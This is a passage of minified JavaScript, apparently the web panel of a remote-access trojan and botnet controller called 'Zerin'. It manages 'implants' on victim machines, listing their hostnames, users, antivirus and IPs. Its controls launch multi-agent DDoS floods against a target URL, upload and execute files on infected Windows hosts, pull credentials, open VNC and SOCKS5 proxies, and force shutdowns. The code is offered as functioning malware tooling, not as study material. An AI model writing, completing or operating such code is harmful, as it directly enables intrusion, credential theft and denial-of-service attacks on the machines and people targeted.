border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),a.jsx("input",{type:"text",value:n,onChange:z=>r(z.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),a.jsx("div",{className:"flex gap-2",children:RU.map(z=>a.jsx("button",{onClick:()=>u(z),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors
disabled:opacity-40 disabled:cursor-not-allowed ${c===z?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:z},z))})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:z=>s(Number(z.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),a.jsx("div",{className:"flex gap-1.5",children:$U.map(z=>a.jsx("button",{onClick:()=>s(z.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors
disabled:opacity-40 disabled:cursor-not-allowed ${i===z.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:z.label},z.value))})]})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",a.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),a.jsx("input",{type:"range",min:1,max:64,value:o,onChange:z=>l(Number(z.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"1"}),a.jsx("span",{children:"16"}),a.jsx("span",{children:"32"}),a.jsx("span",{children:"48"}),a.jsx("span",{children:"64"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:x?a.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):a.jsxs("button",{onClick:N,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
text-sm font-medium text-white bg-red-500 hover:bg-red-600\r
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const I2={alive:0,stale:1,dead:2};function BU(e,t,n){let r=0;switch(n.column){case"status":r=(I2[e.status]??3)-(I2[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=Lo(e.os).localeCompare(Lo(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const FU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function WU(){const e=hr(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(""),[l,c]=m.useState("all"),[u,d]=m.useState({column:"last_seen",direction:"desc"}),[f,p]=m.useState("online"),[h,x]=m.useState({x:0,y:0,visible:!1}),[g,y]=m.useState(null),[v,b]=m.useState(null),[w,j]=m.useState(null),[N,k]=m.useState(null),[z,S]=m.useState(null),[A,_]=m.useState("Zerin"),[O,P]=m.useState(""),[D,V]=m.useState(new Set),[R,M]=m.useState(!1),[W,$]=m.useState(!1),[U,B]=m.useState(""),[K,Z]=m.useState(""),[le,de]=m.useState(!1),[we,ye]=m.useState(null),G=m.useRef(null),te=m.useRef(null),C=m.useRef(null),Y=m.useCallback(async()=>{try{const E=await N5();n(E),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);m.useEffect(()=>{Y()},[Y]);const{lastMessage:re}=m.useContext(vd);m.useEffect(()=>{if(re&&re.type==="agent_update"){const E=re.payload;n(ce=>{const ee=ce.findIndex(xe=>xe.id===E.id);if(ee>=0){const xe=[...ce];return xe[ee]=E,xe}return[E,...ce]}),b(ce=>ce&&ce.id===E.id?E:ce)}},[re]),m.useEffect(()=>{const E=setInterval(Y,15e3);return()=>clearInterval(E)},[Y]),m.useEffect(()=>()=>{G.current&&clearTimeout(G.current)},[]);const F={total:t.length,alive:t.filter(E=>E.status==="alive").length,stale:t.filter(E=>E.status==="stale").length,dead:t.filter(E=>E.status==="dead").length},se=f==="online"?t.filter(E=>E.status==="alive"||E.status==="stale"):t.filter(E=>E.status==="dead"),ke=[...l==="all"?se:se.filter(E=>E.status===l)].sort((E,ce)=>BU(E,ce,u)),Ae=t.filter(E=>E.status==="alive"||E.status==="stale").length,I=t.filter(E=>E.status==="dead").length;function fe(E){d(ce=>({column:E,direction:ce.column===E&&ce.direction==="asc"?"desc":"asc"}))}function q(E){c(ce=>ce===E&&E!=="all"?"all":E)}function ne(E){if(G.current){clearTimeout(G.current),G.current=null,e(`/agents/${E.id}`);return}G.current=setTimeout(()=>{G.current=null,b(E)},250)}function ve(E,ce){E.preventDefault(),y(ce),x({x:E.clientX,y:E.clientY,visible:!0})}function H(E,ce){var X;if(!g)return;const ee=g.id,xe=g.hostname,Ne=ce==null?void 0:ce.action,ze=ce==null?void 0:ce.tab;if(x(ie=>({...ie,visible:!1})),y(null),Ne==="chat"){j(g);return}if(Ne==="confirm"){k({command:E,agentId:ee,hostname:xe});return}if(Ne==="msgbox"){S({agentId:ee,hostname:xe}),_("Zerin"),P("");return}if(Ne==="vnc"){Px(ee).then(()=>{const ie=st(),oe=window.open(`/vnc/${ee}`,`vnc-${ee}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(oe&&ie){const Oe=et=>{var T;((T=et.data)==null?void 0:T.type)==="zerin_auth_request"&&et.origin===window.location.or
Use: ssh -L ${ie.port}:127.0.0.1:${ie.port} root@<vps>`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(Ne==="execute_upload"){C.current=ee,(X=te.current)==null||X.click();return}if(Ne==="ban"){const ie=t.find(T=>T.id===ee),oe=ie==null?void 0:ie.banned,Oe=oe?`Unban agent ${xe} (${ee.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${xe} (${ee.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(Oe))return;(oe?ZE:XE)(ee).then(()=>{n(T=>T.map(ae=>ae.id===ee?{...ae,banned:!oe}:ae))}).catch(()=>o(`Failed to ${oe?"unban":"ban"} agent`));return}if(Ne==="remove"){if(!confirm(`Remove agent ${xe} (${ee.slice(0,8)})? This cannot be undone.`))return;k5(ee).then(()=>{n(ie=>ie.filter(oe=>oe.id!==ee))}).catch(()=>o("Failed to remove agent"));return}(Ne==="submit"||Ne==="screenshot")&&E!=="creds"&&Me(ee,{command:E}).catch(ie=>{o(`Failed to submit task: ${ie instanceof Error?ie.message:"unknown error"}`)}),ze&&e(`/agents/${ee}?tab=${ze}${E==="creds"?"&auto=1":""}`)}function Q(){x(E=>({...E,visible:!1})),y(null)}async function he(E){var ze,X,ie;const ce=(ze=E.target.files)==null?void 0:ze[0];if(E.target.value="",!ce||!C.current)return;const ee=C.current;C.current=null;const xe=ce.name,Ne=`C:\\Windows\\Temp\\${xe}`;try{const oe=await ce.arrayBuffer(),Oe=Array.from(new Uint8Array(oe)),{task_id:et}=await Me(ee,{command:"upload",args:[Ne],data:Oe});let T=!1;for(let ue=0;ue<30;ue++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(X=(await Xn(ee)).results)==null?void 0:X.find(Lt=>Lt.task_id===et);if(Ct){if(Ct.error)throw new Error(Ct.error);T=!0;break}}if(!T)throw new Error("Upload timed out");const{task_id:ae}=await Me(ee,{command:"execute",args:[Ne]});for(let ue=0;ue<30;ue++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(ie=(await Xn(ee)).results)==null?void 0:ie.find(Lt=>Lt.task_id===ae);if(Ct){if(Ct.error)throw new Error(Ct.error);alert(`Executed ${xe} on agent`);return}}alert(`File uploaded & execute command sent (${xe})`)}catch(oe){o(`Execute file failed: ${oe instanceof Error?oe.message:"unknown error"}`)}}return a.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[a.jsx("input",{ref:te,type:"file",className:"hidden",onChange:he}),a.jsxs("div",{className:"mb-6",children:[a.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),a.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[a.jsx(rc,{label:"Total",value:F.total,active:l==="all",onClick:()=>q("all")}),a.jsx(rc,{label:"Alive",value:F.alive,active:l==="alive",onClick:()=>q("alive")}),a.jsx(rc,{label:"Stale",value:F.stale,active:l==="stale",onClick:()=>q("stale")}),a.jsx(rc,{label:"Dead",value:F.dead,active:l==="dead",onClick:()=>q("dead")})]}),a.jsx(IU,{agents:t}),a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[a.jsxs("button",{onClick:()=>{p("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:Ae})]}),f==="online"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),a.jsxs("button",{onClick:()=>{p("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className
bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[a.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[D.size," agent",D.size!==1?"s":""," selected"]}),a.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),a.jsxs("button",{onClick:()=>M(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
text-red-400 bg-red-500/10 border border-red-500/20\r
hover:bg-red-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),a.jsxs("button",{onClick:()=>$(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
text-orange-400 bg-orange-500/10 border border-orange-500/20\r
hover:bg-orange-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute File"]}),a.jsx("button",{onClick:()=>V(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r
hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),R&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>M(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),a.jsx("button",{onClick:()=>M(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx(aS,{agentIds:[...D]})]})}),W&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>$(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-lg",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Execute File"}),a.jsx("button",{onClick:()=>$(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"p-6 space-y-4",children:[a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Run a file on ",D.size," agent",D.size!==1?"s":""]}),we&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${we.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:we.text}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"File Path"}),a.jsx("input",{type:"text",value:U,onChange:E=>B(E.target.value),placeholder:"C:\\path\\to\\file.exe",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Arguments (optional)"}),a.jsx("input",{type:"text",value:K,onChange:E=>Z(E.target.value),placeholder:"--flag value",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("button",{onClick:async()=>{if(U.trim()){de(!0),ye(null);try{const E=[U.trim()];K.trim()&&K.trim().split(/\s+/).forEach(Ne=>E.push(Ne));const ee=(await Promise.allSettled([...D].map(Ne=>Me(Ne,{command:"execute",args:E})))).filter(Ne=>Ne.status==="fulfilled").length,xe=D.size;ye(ee===xe?{text:`Sent to ${xe} agent${xe!==1?"s":""}`,type:"ok"}:{text:`Sent to ${ee}/${xe} agents (${xe-ee} failed)`,type:ee>0?"ok":"err"})}catch(E){ye({text:E instanceof Error?E.message:"Failed",type:"err"})}finally{de(!1)}}},disabled:le||!U.trim(),className:`w-full flex items-center justify-center gap-2 px-4 py-2.5\r
text-sm font-medium text-white bg-orange-500 hover:bg-orange-600\r
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[le?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute",D.size>1?` (${D.size})`:""]})]})]})}),a.jsx(vA,{x:h.x,y:h.y,visible:h.visible,onAction:H,onClose:Q,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),a.jsx(M5,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),a.jsx(yA,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent Details",children:v&&a.jsx(VU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async E=>{const ce=v.tags??[];n(ee=>ee.map(xe=>xe.id===v.id?{...xe,tags:E}:xe)),b(ee=>ee&&{...ee,tags:E});try{await JE(v.id,E)}catch{n(ee=>ee.map(xe=>xe.id===v.id?{...xe,tags:ce}:xe)),b(ee=>ee&&{...ee,tags:ce}),o("Failed to update tags")}}})}),N&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>k(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[N.command==="restart"?"Restart":"Shutdown"," PC"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",N.command," ",a.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname}),"?",N.command==="shutdown"&&" The agent will go offline."]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>k(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r
hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r
transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{Me(N.agentId,{command:N.command}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),k(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${N.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:N.command==="restart"?"Restart":"Shutdown"})]})]})}),z&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",a.jsx("span",{className:"text-zerin-text font-medium",children:z.hostname})]}),a.jsxs("div",{className:"space-y-3 mb-6",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),a.jsx("input",{type:"text",value:A,onChange:E=>_(E.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r
text-sm text-zerin-text placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),a.jsx("textarea",{value:O,onChange:E=>P(E.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r
text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r
hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r
transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{O.trim()&&Me(z.agentId,{command:"troll_msgbox",args:[O,A||"Zerin"]}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),S(null)},disabled:!O.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r
hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r
transition-colors`,children:"Send"})]})]})})]})}function rc({label:e,value:t,active:n,onClick:r}){return a.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[a.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function UU({column:e,sort:t}){return t.column!==e?a.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function VU({agent:e,onNavigate:t,onTagsChange:n}){return a.jsxs("div",{className:"space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(hd,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&a.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),a.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[a.jsx(jn,{label:"Hostname",value:e.hostname}),a.jsx(jn,{label:"Username",value:e.username}),a.jsx(jn,{label:"OS",value:Lo(e.os)}),a.jsx(jn,{label:"Architecture",value:e.arch}),a.jsx(jn,{label:"PID",value:String(e.pid),mono:!0}),a.jsx(jn,{label:"Integrity",value:e.integrity}),a.jsx(jn,{label:"Internal IP",value:e.internal_ip,mono:!0}),a.jsx(jn,{label:"External IP",value:e.external_ip,mono:!0}),a.jsx(jn,{label:"Sleep / Jitter",value:T5(e.sleep_interval,e.jitter),mono:!0}),a.jsx(jn,{label:"Agent ID",value:to(e.id),mono:!0}),a.jsx(jn,{label:"First Seen",value:Mo(e.first_seen)}),a.jsx(jn,{label:"Last Seen",value:Jc(e.last_seen)})]}),a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),a.jsx(DU,{tags:e.tags??[],onChange:n})]}),a.jsx("div",{className:"border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function jn({label:e,value:t,mono:n=!1}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),a.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const HU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},KU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},YU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function qU({lines:e,className:t=""}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0);return m.useEffect(()=>{var s;e.length>i.current&&((s=r.current)==null||s.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),a.jsxs("div",{className:`
bg-zerin-bg border border-zerin-panel-border
font-mono text-sm overflow-hidden flex flex-col
${t}
`,children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),a.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),a.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&a.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[a.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((s,o)=>a.jsxs("div",{className:`${HU[s.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[s.timestamp&&a.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:s.timestamp}),a.jsx("span",{className:`${YU[s.type]} select-none`,children:KU[s.type]}),s.content]},o)),a.jsx("div",{ref:r})]})]})}function GU({agentId:e,agentStatus:t}){const[n,r]=m.useState("C:\\"),[i,s]=m.useState([]),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),[y,v]=m.useState(null),[b,w]=m.useState(""),[j,N]=m.useState(""),k=t==="dead",z=m.useRef(null),S=m.useRef(null),A=m.useRef(null);m.useEffect(()=>()=>{z.current&&clearInterval(z.current)},[]),m.useEffect(()=>{if(!p)return;const K=le=>{le.button!==2&&S.current&&!S.current.contains(le.target)&&h(null)},Z=le=>{le.key==="Escape"&&h(null)};return document.addEventListener("mousedown",K),document.addEventListener("keydown",Z),()=>{document.removeEventListener("mousedown",K),document.removeEventListener("keydown",Z)}},[p]),m.useEffect(()=>{y&&setTimeout(()=>{var K;return(K=A.current)==null?void 0:K.focus()},50)},[y]);const _=m.useCallback(K=>new Promise((Z,le)=>{let de=0;const we=30,ye=setInterval(async()=>{var G;de++;try{const C=(G=(await Xn(e)).results)==null?void 0:G.find(Y=>Y.task_id===K);C?(clearInterval(ye),C.error?le(new Error(C.error)):Z({output:C.output,data:C.data})):de>=we&&(clearInterval(ye),le(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),O=m.useCallback(async K=>{if(!k){l(!0),u(""),s([]),z.current&&(clearInterval(z.current),z.current=null);try{const{task_id:Z}=await Me(e,{command:"ls",args:[K]});r(K),f(!0);let le=0;const de=30;z.current=setInterval(async()=>{var we;le++;try{const G=(we=(await Xn(e)).results)==null?void 0:we.find(te=>te.task_id===Z);if(G){if(z.current&&clearInterval(z.current),z.current=null,l(!1),G.error){u(G.error);return}if(G.output){const te=G.output.split(`
